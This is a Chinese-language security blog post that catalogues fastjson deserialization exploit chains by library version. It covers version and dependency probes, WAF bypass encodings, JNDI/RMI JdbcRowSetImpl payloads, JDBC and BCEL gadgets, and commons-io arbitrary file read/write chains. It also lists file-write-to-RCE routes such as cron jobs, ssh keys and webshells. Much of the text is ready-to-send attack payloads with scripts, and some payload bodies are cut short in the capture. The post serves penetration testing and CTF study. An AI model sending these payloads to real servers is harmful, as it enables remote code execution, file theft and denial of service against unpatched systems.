前言
网上很多fastjson的文章由于时间原因,对利用链的整理都不是很齐全,所以笔者自己做个整理,方便复习和利用。
这里主要做整理,并简要分析几个关键版本的绕过原理,力求让读者能够在简单理解的基础上快速对相应版本进行利用。
文章涉及的部分代码见:https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson
反序列化流程
如果一个字段在public构造函数中,且也有setter方法,那么它是通过哪种方式反序列化的?
存在无参构造
- Fastjson 首先调用无参构造函数 (new ClassName()) 实例化对象。
- 解析 JSON 中的键值对。
- 通过反射调用该字段对应的 Setter 方法 (setFieldName(…)) 将值注入。
- 此时有参构造被忽略
不存在无参构造
- Fastjson 检测到没有无参构造,会尝试匹配参数最多的有参构造函数。
- 解析 JSON 数据,提取出对应构造函数参数的值。
- 调用有参构造函数 (new ClassName(arg1, arg2…)) 实例化对象。
- 但是,如果 JSON 中还有其他不在构造函数参数列表中的字段,且那些字段有 Setter,则会在对象实例化后调用那些字段的 Setter。
使用了 @JSONCreator 注解
- 如果在构造函数(或静态工厂方法)上标记了 @JSONCreator,Fastjson 会强制使用该构造函数进行反序列化,无论是否存在无参构造或 Setter。此时值是通过构造函数注入的。不过这个在安全研究场景中比较少见。
所以可以利用setter或者有参构造。有参构造是从json内层执行到外层的。
KCON2022:

parse和parseObject
parse和多参parseObject是一样的,都会调用setter以及符合要求的getter。
单参parseObject会自动触发所有public getter。
parse反序列化时且不指定类型时,可以通过$ref的方法触发getter。
默认只能触发public方法,触发开启了Feature.SupportNonPublicField
写文件如何RCE
fastjson高版本利用中,有很多是写文件利用。这就涉及到如何通过写文件进行RCE
https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA
可以概括为下面的几个方法。
- 计划任务,sshkey,需要有root权限
- 写jsp等webshell,不适用于jar部署的应用
- 写jar覆盖jre/lib,最经典的就是charsets.jar的覆盖 PS:无法写入二进制文件时,可以写ascii jar https://github.com/c0ny1/ascii-jar
- 写jre classes,需要知道和创建目录,且需要入口点
- 写classes + SPI,需要知道目录和创建目录
- 写tomcat-docbase class,需要知道目录,且需要特定classloader(基本限制在fastjson利用)
其中方法3-5都只能在jdk8下生效。
探测
fastjson判断
- 根据报错信息判断
破坏json结果,查看报错回显
1 | {"age":20,"name":"Bob" |
利用@type,检测autotype是否开启:
1 | {"@type":"whatever"} |
- 根据解析变化判断
1 | {"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} |

- dns请求
不出网时,也可以根据响应时间是否变长来判断
1 | {"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"} |
- 区别jackson
1 | // 多余的类成员: 添加一个键值 test,jackson会报错,fastjson不会 |
- 区别gson
1 | // 浮点类型精度丢失 |

- 区别org.json
1 | // 特殊字符 |

版本探测
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA
- autotype探测
1 | {"xxx":{"@type":"java.lang.Class","val":""}} |
在开启AutoType的时候 payload1会报错,payload2不报错autoType is not support. java.lang.Class
未开启AutoType的时候 payload1不报错,payload2报错autoType is not support. Random.String
- AutoCloseable精确探测
1 | { |
注意:在FastJson版本1.2.76后,就算用这种方式,探测出来的也都是1.2.76
- 1.2.83具体探测
1 | {"xxx":{"@type":"Test.TestException"}} |
只有1.2.83时不报错。
- dnslog探测大致版本
1 | // <=1.2.47 |
5、不出网探测,根据响应是500还是正常判断
1 | 【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80 |
依赖探测
- Character转换报错
1 | { |
类存在报错can not cast,不存在就是No message available
一些相关依赖类:
1 | org.springframework.web.bind.annotation.RequestMapping //SpringBoot |
脚本:
1 | import requests |
- dnslog
1 | {"@type":"java.net.Inet4Address", |

我本地尝试一直不行:

判断是否存在期望类
https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww
WAF绕过
unicode和hex编码
1 | {"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} |
多个逗号:
1 | {,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true } |
_和-绕过:
FastJson在解析JSON字段的key时,会将_和-替换为空;在1.2.36之前_和-只能单独使用,在1.2.36及之后,支持_和-混合使用。
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} |
字符填充:
和SQL一样,WAF会放行数据字符过大的数据包
1 | { |
unicode再绕过:
1 | {"\u+040\u+074\u+079\u+070\u+065":"java.lang.AutoCloseabl\u+065" |
小技巧
$ref触发getter
https://xz.aliyun.com/news/16117
当parse和parseObject不指定类型时,可以通过$ref触发任意字段的getter
java.util.Currency触发所有getter
https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww
大致原理是,把key设置成JSONObject,但是key又得转换成字符,所以就会调用JSONObject.toString,这个在原生反序列化里就遇到过,所以触发了getter。
而JSONObject,java.util.Currency是MiscCodec这个反序列化类里要求这样写的(改成currencyCode也可以):

能够通过java-chains生成:

1 | { |
下面的payload中,部分是基于JSON.parse()写的,没考虑反序列化时存在期望类。如果反序列化点有期望类,那得套一层Currency才能触发getter。
1.2.47
绕过分析
@type为java.lang.Class时,调用MiscCodec反序列化,并TypeUtils.loadClass存入缓存map。
在checkAutoType时先从缓存map取,从而绕过。



修复分析
默认不缓存:

JdbcRowSetImpl
1 | { |
BCEL
jdk <= 8u251
需要dbcp依赖,一种是tomcat-dbcp,一种是commons-dbcp
bcel字符生成:
1 | JavaClass javaClass = Repository.lookupClass(Evil.class); |
org.apache.tomcat.dbcp.dbcp.BasicDataSource tomcat-dbcp <= 7.0.109
1 | { |
org.apache.tomcat.dbcp.dbcp2.BasicDataSource tomcat-dbcp-8.0.0-RC1 <= tomcat-dbcp <= 10.1.0-M2
1 | { |
org.apache.commons.dbcp.BasicDataSource commons-dbcp <= 1.4
1 | { |
org.apache.commons.dbcp2.BasicDataSource commons-dbcp2 <= 2.13.0
1 | { |
C3P0
c3p0字符转换:
1 | byte[] bytes = Files.readAllBytes(Paths.get("D:/1tmp/cc5.bin")); |
1 | { |
mybatis
mybaitis也有bcel加载效果:
1 | { |
H2Jdbc
com.h2database:h2 <= 2.2.224
1 | { |
1.2.48~1.2.67
以下都需要开启autotype,所以实战能利用的可能性比较低。
<=1.2.60
commons-configuration-1.10,且autotype enable:
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true) |
<=1.2.61
autotype enable:
1 | <dependency> |
<=1.2.67
条件:开启autotype,存在shiro(不限版本)即可通杀
1 | <dependency> |
1.2.36~1.2.62
存在拒绝服务攻击,无其他条件,可变相用于黑盒版本探测
1 | {"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"} |
1.2.68
绕过分析
这里是通过expectClass来实现绕过,也就是找java.lang.AutoCloseable的实现类。
设置@type且进入JavaBeanDeserializer时,会将第一个@type作为expectClass,再去检查下一个@type,从而绕过:



修复分析
AutoCloseable进入黑名单,不作为expectClass

jdk11 任意写/文件清空
任意写
1 | { |
fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的。
在标准的 Java 编译过程中(使用 javac),源代码中的变量名和参数名可能会被丢弃或混淆,变成无意义的占位符。我们经常在反编译的代码中看见arg0,var0这种变量名,就是这个原因导致的。“符号信息” 指的就是编译器把 name 和 age 这两个字符串保留在字节码的 LocalVariableTable(局部变量表) 属性中。
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:
javap -l
文件清空
1 | { |
文件复制
需要aspectjtools依赖
1 | { |
commons-io利用
commons-io版本差异

需要根据不同版本的依赖,修改对应参数名。
当io < 2.5时,根据系统的不同,可能会触发WriterOutputStream中带有decoder的构造方法,这时decoder只能设置为com.alibaba.fastjson.util.UTF8Decoder。导致没法写二进制文件。这个问题在[https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson Decoder) 里出现过
io 读文件/目录
由浅蓝对blackhat上的链子进行优化。
https://b1ue.cn/archives/506.html 文章里设置了具体场景,对应下面的三种payload
读取错误时返回null,要结合原本就有回显的点利用
1 | { |
报错读,正确的时候报错,错误的时候不报错。这个用的多一点。
1 | { |
dns读,错误的时候有dns请求,正确的时候没有dns请求。
1 | { |
配套python脚本:
1 | import requests |
io1/io2写文件(编码后支持二进制)
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
只能写8kb整的文件,二进制文件写入时必须进行iso-8859-1编码;目录必须存在。
这里走的是XmlStreamReader构造方法触发getBOM,ioFinal中会改良成直接通过BOMInputStream.getBOM触发。FileWriterWithEncoding也会改成LockableFileWriter,从而自动创建目录。
commons-io 2.0 - 2.6 版本:
1 | { |
commons-io 2.7 - 2.8.0 版本:
1 | { |
解析特性
payload里面有这样一段json比较特殊:
1 | "charSequence":{"@type":"java.lang.String""aaaaaa" |
第一个特殊点,为什么不直接写:
1 | "charSequence": "aaa" |
这里报错的原因是,fastjson把charSequence当作接口,默认作为Java Bean处理。而 “aaa” 会被当作基础的字符串,两者类型不匹配。
第二个特殊点,为什么能够直接在String后面写 “aaaa”。
上面报错了以后,我把payload改成了:
1 | "charSequence":{"@type":"java.lang.String", "original":"aaaaaa"} |

想调用String的构造函数,不过还是报错。
用正确的payload,跟进调试一下,最终发现是在这里截取。

然后在StringCodec中正式取出:

在调试中发现,String后面不能跟逗号,不然一定报错。跟了逗号,token就会是逗号,那么StringCodec里就会进入上图中打断点的那行,最后进入到switch default中报错。
第三个特殊点,为什么最后少了一个 } 进行闭合,还能成功解析?
看一下AI的解释:


总得来说,记住有这么一种写法即可。
io3写文件(≈io1/io2)
su18发现的类似io1的链,和io1基本一样。
https://su18.org/post/fastjson-1.2.68/
io4写文件(支持二进制)
需要commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6。只能写入8kb整,二进制文件写入正常。
于blackhat上公开:
https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf
1 | // ommons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6 |
io5写文件/创建目录(io4换依赖,能写任意大小文件)
在io4的基础上,用anti依赖代替了aspectjtools。可以写8kb以上二进制文件。LockableFileWriter可以创建目录
https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew
目录创建:
1 | { |
任意文件写入:
1 | public static void writeIo5() throws IOException { |
io6
1 | { |
io7
https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww
1 | { |
ioFinal
使用java-chains生成:
1 | { |
MysqlJdbc
用到的关键类的分析:
mysql驱动协议之loadbalance和replication-CSDN博客
出网
5.1.1 ~ 5.1.48:
1 | { |
6.0.2/6.0.3:
1 | { |
<=8.0.19:
1 | { |
这里看一下8.0.19的调用栈:
1 | at com.mysql.cj.jdbc.ConnectionImpl.setAutoCommit(ConnectionImpl.java:2005) |
可以看到是从LoadBalancedConnectionProxy的构造方法里触发的。
不出网(结合写文件)
mysql还有不出网的利用方式,需要写pipe文件,然后本地加载:
https://1diot9.github.io/2025/05/05/mysql-JDBC-%E7%BB%95%E8%BF%87/
5.1.1~5.1.48:
1 | { |
6.0.2/6.0.3:
1 | { |
<=8.0.19
1 | { |
PostgreSql
可以通过file或http协议,加载xml,配合ClassPathXml使用。
9.4.1208 <= org.postgresql:postgresql < 42.2.25
42.3.0 <= org.postgresql:postgresql < 42.3.2
1 | { |
1.2.80
绕过分析
[https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/#%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90](https://changeyourway.github.io/2025/08/23/Java 安全/漏洞篇-Fastjson 1.2.68-1.2.80 利用/#源码分析)
将Exception作为期望类,找子类
找到子类后,以下几个地方的类也可以通过修改json,从而手动添加到缓存中,从而创造新的可利用类:
- public构造方法中,参数的类型(包括其子类)
- public的字段类型
- setter方法的参数类型(包括子类)
所以可以一直往下找可利用类,直到找到能够利用的构造方法或是setter方法。
一般是通过这种方式把前面的payload的利用类重新加入缓存,从而实现利用。
这里的缓存点和47版本的不一样,是ParserConfig.getDeserializer时的缓存:


将类型与反序列化器放入Map中。
checkAutoType时很早就取:

而Exception类型的反序列化器ThrowableDeserializer在80版本有这么一行代码:

这里会解析其他键值对,当value和实际字段的类型不符时,会执行cast方法,从而将类当中的属性也添加到缓存中,因为这里最后也会执行config.getDeserializer:

看个例子:
1 | // 第一次发包 |
这里就是把CompilationFailedException的unit字段也添加到缓存中。一般”field”: {}就行,因为{}是JSONObject类型,肯定会执行cast。
修复分析

对Throwable的子类做了判断,把从缓存取出的clazz清空。
jackson+io读写文件/目录
很适合Spring环境。
缓存InputStream:
1 | { |
io链逐字节读文件/目录:
和68版本时io读文件的思路一样
https://github.com/luelueking/CVE-2022-25845-In-Spring 脚本
https://github.com/kezibei/fastjson_payload/blob/main/web.py 出网脚本
1 | { |
io链写文件:
1 | { |
触发:
1 | { |
最终的利用类记得继承Exception。或者在类上使用@JSONType注解:

推荐使用java-chains生成;


PostgreSql
jackson依赖
1.2.75 < fastjson <= 1.2.80
jackson-core
9.4.1208 <= org.postgresql:postgresql < 42.2.25
42.3.0 <= org.postgresql:postgresql < 42.3.2
1 | [INFO] Step1: |
xml文件:
1 |
|
可以去java-chains生成:

jython依赖
1 | { |
MySqlJDBC
mysql <= 5.1.48
出网:
1 | [INFO] Step1: |
不出网,需要先写Pipe文件:
1 | [INFO] Step1: |
groovy(出网加载jar)
1.2.76 <= fastjson < 1.2.83
1 | // 第一次发包 |
利用的是SPI机制,在yaml反序列化的时候接触过。
在src目录下创建 META-INF/services/org.codehaus.groovy.transform.ASTTransformation, 写入恶意类的全类名。
然后执行(恶意jar包名称什么的可以改):
1 | javac src/artsploit/AwesomeScriptEngineFactory.java |
java-chains也可以直接生成:

aspectjtools读文件(需回显)
1 | //第一次 |
ognl+io读写文件/目录
遇见的情况比较少,不整理了,直接给链接(懒癌犯了)
首次出现于KCON2022
[https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf](https://github.com/knownsec/KCon/blob/master/2022/Hacking JSON【KCon2022】.pdf)
https://github.com/su18/hack-fastjson-1.2.80
读文件时需要结合各种方式回显,比如http、dns、报错等。或是逐个字节读,根据报错情况或者是否发起http请求来判断。
ajt+xalan+dom4j+io
这些依赖组合起来比较少见,也许会在某些框架的项目中经常出现?受限于笔者知识,这里不深入了。
后面还有一系列不需要ajt依赖的。
1.2.83
配合写文件漏洞,依然有可能getshell。
83版本通过@type加载类时,有白名单机制,但是可以通过 @JSONType等注解绕过:

这时候,配合写tomcat-docbase或是写jar,然后@type触发,依然有机会getshell。
相关题目
https://github.com/luelueking/CVE-2022-25845-In-Spring
[https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson Decoder)
https://github.com/1diot9/CTFJavaChallenge/tree/main/2025/%E4%BA%AC%E9%BA%92CTF
https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA
https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/ 83版本,配合其他写文件漏洞,也能getshell
https://1diot9.github.io/2026/02/18/%E4%BA%AC%E9%BA%92CTF25-FastJ/ JDK11写漏洞在80版本的特殊利用
后记
感谢前辈们的优秀文章,让笔者学习到了很多新知识。
看完才想起来还有个fastjson2,利用方式不太一样,又得学了(
网上开源的fastjson扫描工具都好久没更新了,找不到合适的,以后有需求再让AI一点点写吧,或者直接让二开一下。
很多payload都是来源于KCON和GEEKCON会议的,以后有空收集一下各种会议里有关Java的PPT,也是一种学习方式。
参考
springboot环境下的写文件RCE
Fastjson高版本的奇技淫巧
Fastjson反序列化漏洞复现 | Yang Hao’s blog
Fastjson commons-io任意文件读写
fastjson 读文件 gadget 的利用场景扩展
[漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用](https://changeyourway.github.io/2025/08/23/Java 安全/漏洞篇-Fastjson 1.2.68-1.2.80 利用/#PostgreSQL-JDBC)
fastjson 1.2.80 漏洞分析
[Fastjson 1.2.80 读写文件 & SpringBoot利用 & Postgresql利用](https://kagty1.github.io/2026/01/18/Fastjson 1.2.80 读写文件 & SpringBoot利用 & Postgresql利用_cos/#postgresql-利用) GitHub - lemono0/FastJsonParty: FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入及高版本绕过、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。从黑盒的角度覆盖FastJson深入利用
炒冷饭之FastJson